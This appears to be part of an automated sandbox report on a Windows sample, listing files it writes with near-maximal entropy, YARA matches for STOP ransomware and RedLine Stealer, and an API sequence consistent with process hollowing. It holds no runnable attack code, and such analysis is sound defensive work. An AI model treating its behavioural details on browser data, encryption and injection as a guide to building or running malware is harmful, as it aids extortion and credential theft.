Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.9980918572	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db entropy: 7.99869883375	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db entropy: 7.99780003411	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99306517955	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.9973743372	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_095006_950-1db4.log entropy: 7.99301744652	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99636919987	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99623121902	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730000406692.txt entropy: 7.99817154595	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729959899759.txt entropy: 7.99810147921	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729729263985.txt entropy: 7.99832506512	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409729713469716.txt entropy: 7.99824924242	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730139444463.txt entropy: 7.99827146891	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99734396819	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json entropy: 7.99868601193	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.99184085143	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm entropy: 7.99475103033	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite entropy: 7.99667989489	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\EXADWHXN\www.bing[1].xml entropy: 7.99660795643	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json entropy: 7.99202035097	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite entropy: 7.99638827026	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm entropy: 7.99463839181	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif entropy: 7.99743888235	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm entropy: 7.99438961024	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm entropy: 7.99437521991	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite entropy: 7.99596102904	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm entropy: 7.99449562887	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite entropy: 7.9963461157	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm entropy: 7.99465613202	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite entropy: 7.99642357284	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png entropy: 7.99314909279	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730578223235.txt entropy: 7.99797375533	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730277423496.txt entropy: 7.99806566589	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409750601087624.txt entropy: 7.99832949382	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409750302065300.txt entropy: 7.99841765316	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json entropy: 7.99023046867	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409748963858714.txt entropy: 7.99850671035	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409739583097184.txt entropy: 7.99841955923	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409739283269443.txt entropy: 7.99849805152	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409734353939698.txt entropy: 7.99850030432	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409734054459678.txt entropy: 7.99836056202	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409733787453058.txt entropy: 7.99839651276	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409731422158190.txt entropy: 7.99825046456	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409731158379811.txt entropy: 7.99821777789	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409730910455283.txt entropy: 7.99826816725	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99824324719	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg entropy: 7.99343529088	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg entropy: 7.99362916418	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133492851780975813.txt entropy: 7.99852640721	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133492851440826167.txt entropy: 7.99830578553	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409754051185999.txt entropy: 7.99846785702	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409752607526634.txt entropy: 7.99856989735	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409752307585450.txt entropy: 7.99874338814	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\ls-archive.sqlite entropy: 7.99867657833	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99736658274	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99289340085	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99425140236	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db entropy: 7.99213809668	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db entropy: 7.99471705237	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy) entropy: 7.99711492043	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy) entropy: 7.9962005593	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy) entropy: 7.99285806058	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy) entropy: 7.99256783103	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy) entropy: 7.99339590824	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy) entropy: 7.99345770612	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.cdqw (copy) entropy: 7.9983855072	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.cdqw (copy) entropy: 7.9980918572	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db.cdqw (copy) entropy: 7.99869883375	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.cdqw (copy) entropy: 7.99780003411	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.cdqw (copy) entropy: 7.99306517955	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.cdqw (copy) entropy: 7.9973743372	Jump to dropped file
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 entropy: 7.99553172716	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 20.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 20.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 20.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 20.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.kOVwcHSfrR.exe.28515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.1516167600.000000000262A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000002.1683207825.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1442800853.00000000025AF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7964, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7996, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8028, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8088, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 8160, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: kOVwcHSfrR.exe PID: 736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02730110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_02730110
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02850110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	10_2_02850110
